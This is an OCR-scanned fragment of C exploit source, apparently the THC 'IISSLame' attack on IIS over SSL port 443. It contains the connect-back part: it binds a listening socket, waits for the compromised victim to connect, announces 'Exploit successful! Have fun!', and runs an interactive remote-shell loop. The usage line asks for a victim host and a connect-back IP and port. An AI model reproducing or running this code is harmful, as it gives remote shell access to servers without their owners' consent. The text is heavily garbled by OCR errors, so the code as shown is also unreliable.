mytcp. si n_addr.s_addr = O;
myt cp. si n_port=htons((unsi gned short)atoi (argv[3]));

sock2=socket ( AF_| NET, SOCK_STREAM | PPROTO TCP) ;

rc=bi nd(sock2, (struct sockaddr *)&nytcp, 16);
if(rc!=0)

printf("bind error() %\ n", WeAGet LastError());
exit(-1);

rc=listen(sock2,1);
if(rc!=0)

printf("listen error()\n");
exit(-1);

printf("[*] waiting for shell\n");
sock3 = accept (sock2, (struct sockaddr*)&nytcp, & en);
i f(sock3)

printf("[*] Exploit successful ! Have fun !\n");
printf("[*

-\n\n");
shel | (sock3);

}

el se

{
printf("\nCan't connect to ssl port 443!'\n");

exit(-1);
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}

shut down( sock, 1) ;
cl osesocket (sock) ;
shut down( sock, 2);
cl osesocket (sock2);
shut down( sock, 3);
cl osesocket (sock3);

free(badbuf);

exit(0);

voi d usage()

}

unsi gned int a;

printf("\nUsage: <victimhost> <connectback-ip> <connectback port>\n");
printf("Sanple: THC I SSLanme www. | anmei ss. com 31. 33.7.23 31337\n\n");

exit(0);

voi d shell (int sock)

{
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int I;

char buf[1024];
struct timeval tinme;
unsi gned long ul[2];

time.tv_sec = 1;
time.tv_usec = 0;

while (1)
{

ul [ 0]
ul [ 1]

1,
sock;

| = select (0, (fd_set *)&ul, NULL,
if(l ==1)
{

| = recv (sock, buf, sizeof (buf),
if (I <=0)

{
printf ("bye bye...\n");
return;
}
I =wite (1, buf, 1);
if (I <=0)
{
printf ("bye bye...\n");
return;
}
}
el se
{

| =read (0, buf, sizeof (buf));
if (I <=0

printf("bye bye...\n");

return;

}
| = send(sock, buf, I, 0);
if (I <= 0)

{

NULL, &tine);

0);
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printf("bye bye...\n");
return;
}
}
}
}
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